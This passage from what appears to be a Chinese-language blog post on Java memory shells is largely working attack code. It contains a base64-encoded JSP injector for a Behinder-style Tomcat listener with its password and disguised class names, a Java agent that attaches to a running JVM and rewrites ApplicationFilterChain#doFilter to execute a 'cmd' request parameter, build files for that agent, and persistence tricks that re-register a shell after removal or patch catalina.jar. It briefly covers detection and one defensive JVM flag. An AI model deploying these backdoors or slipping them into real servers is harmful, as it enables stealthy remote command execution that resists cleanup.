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"; byte[] bytecode = null; try { Class base64Clz = classLoader.loadClass("java.util.Base64"); Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64); } catch (ClassNotFoundException ee) { Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64); } Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length); clazz.newInstance(); } %>
|
访问后成功添加
相关配置
1 2 3 4 5 6 7 8 9 10
| [>] Behinder Tomcat Listener JSP
[+] 基础信息:
密码: Aoxpcply 请求路径: /* 请求头: Referer: Jlwvndc 脚本类型: JSP 内存马类名: org.junit.ServletRequestFezjListener 注入器类名: org.apache.commons.lang.n.ThreadUtil
|
成功连接
Spring类型内存马
基于spring框架处理组件的内存马,通常包括Controller型,Interceptor型
Java Agent内存马
以java agent形式存在的内存马
agent内存马通常难以查杀的点在于不新增一个组件,而是在原有的组件上去修改字节码,改变程序执行逻辑,同时直接从反射获取的字节码将会是修改之前的,而不是修改之后的字节码
agent的两种类型
包括premain-agent和agentmain-agent
一个用于静态加载一个用于动态加载
静态加载的含义是在 JVM 启动时,主程序运行之前通过命令行参数 -javaagent:agent.jar
加载
动态加载通过 Java Attach API
在JVM 运行时动态附加到目标进程
agent内存马的编写测试
这里需要三个类,一个agentmain实现,一个修改的具体的类,一个attach jvm的类
之前在javassist修改类时通常是直接修改,但实际上,要修改一个jvm内已经存在的类,需要调用通过Instrumentation
agentmain实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package org.example;
import java.lang.instrument.Instrumentation;
public class DynamicAgent { public static void agentmain(String agentArgs, Instrumentation inst) { System.out.println("[Agent] Dynamically attached!");
inst.addTransformer(new MyClassTransformer(), true);
Class<?>[] loadedClasses = inst.getAllLoadedClasses(); for (Class<?> clazz : loadedClasses) { if (clazz.getName().equals("com.example.target.TargetClass")) { try { System.out.println("[Agent] Retransforming class: " + clazz.getName()); inst.retransformClasses(clazz); } catch (Exception e) { System.err.println("[Agent] Failed to retransform: " + e); } } } } }
|
注入类实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package org.example;
import com.sun.tools.attach.*;
import java.io.IOException; import java.util.List;
public class Inject_Agent { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for(VirtualMachineDescriptor vmd : list){ System.out.println(vmd.displayName()); if(vmd.displayName().contains("JavaAgentSpringBootApplication")){
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("E:\\java-agentmain-1.0-SNAPSHOT.jar"); virtualMachine.detach(); }
} } }
|
修改类实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| package org.example;
import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
public class MyClassTransformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { try {
ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); }
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
String body = "{" + "javax.servlet.http.HttpServletRequest request = $1\n;" + "String cmd=request.getParameter(\"cmd\");\n" + "if (cmd !=null){\n" + " Runtime.getRuntime().exec(cmd);\n" + " }"+ "}"; ctMethod.setBody(body);
byte[] bytes = ctClass.toBytecode(); return bytes;
}catch (Exception e){ e.printStackTrace(); } return null; } }
|
MANIFEST.MF
1 2 3 4
| Manifest-Version: 1.0 Agent-Class: com.example.agent.DynamicAgent Can-Redefine-Classes: true Can-Retransform-Classes: true
|
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId> <artifactId>java-agentmain</artifactId> <version>1.0-SNAPSHOT</version>
<properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> </properties> <dependencies> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.27.0-GA</version> </dependency> <dependency> <groupId>com.sun</groupId> <artifactId>tools</artifactId> <version>${java.version}</version> <scope>system</scope> <systemPath>${java.home}/../lib/tools.jar</systemPath> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-jar-plugin</artifactId> <version>3.2.0</version> <configuration> <archive> <manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile> <manifest> <addClasspath>true</addClasspath> </manifest> <manifestEntries> <Agent-Class>com.example.agent.DynamicAgent</Agent-Class> <Can-Redefine-Classes>true</Can-Redefine-Classes> <Can-Retransform-Classes>true</Can-Retransform-Classes> <Premain-Class>com.example.agent.DynamicAgent</Premain-Class> </manifestEntries> </archive> </configuration> </plugin>
<plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <version>3.3.0</version> <configuration> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> <archive> <manifest> <mainClass>com.example.agent.AgentAttacher</mainClass> </manifest> </archive> </configuration> <executions> <execution> <phase>package</phase> <goals> <goal>single</goal> </goals> </execution> </executions> </plugin> </plugins> </build> </project>
|
最后先点clean再点package
生成jar包
agent内存马的常用手段
根据JavaEE规范,最先想到的点应该是javax/servlet/http/HttpServlet#service
其次是位于Filter链头部的org/apache/catalina/core/ApplicationFilterChain#doFilter
针对特殊框架可以做特殊处理,例如针对Spring的org/springframework/web/servlet/DispatcherServlet#doService
还有4ra1n师傅提出关于Tomcat自带Filter的修改:org/apache/tomcat/websocket/server/WsFilter#doFilter
关于service,doget,dopost方法
这三个方法是 Java Servlet 中处理 HTTP 请求的核心方法,均属于 javax.servlet.http.HttpServlet 类。
- service():总入口,分派请求到 doGet()/doPost()。
- doGet():处理 读取数据 的请求(参数在URL)。
- doPost():处理 修改数据 的请求(参数在Body)。
- 实际开发中:通常直接重写 doGet() 和 doPost(),而非 service()。
不过在内存马中也有会喜欢hook service方法的
防御手段
jvm可以添加参数,禁止后续动态attach虚拟机
1
| -XX:+DisableAttachMechanism
|
agent内存马查杀困难的原因
Agent内存马会通常调用Java Agent提供的redefineClass方法加入内存马
如果想检测,通过反射获取的类拿到的字节码并不是修改过的字节码,而是原始字节码,因此无法判断某个类是否合法
java agent修改字节码的方式
通过retransform
redefineClass
redefineClass 允许通过 Instrumentation API 直接修改已加载类的字节码,绕过 ClassFileTransformer 链。其本质是替换 JVM 内部维护的 Klass 结构(HotSpot 虚拟机中类的元数据结构),直接更新方法字节码、常量池等。
直接替换类定义:允许直接修改类的字节码(无需通过ClassFileTransformer),替换JVM中已加载的类。
绕过Transform机制:修改后的字节码不会触发后续的ClassFileTransformer
回调,因此检测工具无法通过Transform链捕获修改后的字节码。
持久性生效:修改后的类会立即生效,且后续任何尝试获取该类字节码的操作(如反射、Instrumentation API)都只能拿到原始字节码,而非修改后的版本。
retransformClass
通过Transform链修改:会触发所有已注册的ClassFileTransformer,允许对字节码进行链式处理。
可捕获修改后的字节码:检测工具可以通过注册自己的ClassFileTransformer,在Transform链中获取到修改后的字节码。
相关工具的检测特性
通过 Arthas、Javassist 无法检测 redefineClass 修改后的字节码
可能可以检测的手段
内存马的查杀
基于文件是否落地
使用tomcat-memshell-scanner能成功根据无class文件进行判断,不过后续执行要创建对应的class文件的话应该还算比较好绕过
基于arthas内容分析
根据继承实现类黑名单,注解包名类名等黑名单来做,这部分可以使用阿里的java诊断工具arthas去分析
内存马的持久化手段
被杀复原
在相关组件的destroy方法中加入再注册内存马的代码
另起一个线程用于循环检测内存马是否被杀,被杀时继续添加
重启生效
须往本地写文件,可以利用addShutDownHook方法在JVM退出时写文件
写入依赖Jar中,例如catalina.jar中
修改Tomcat的Lib也是一种手段,在默认开启的WsFilter中的doFilter方法中修改代码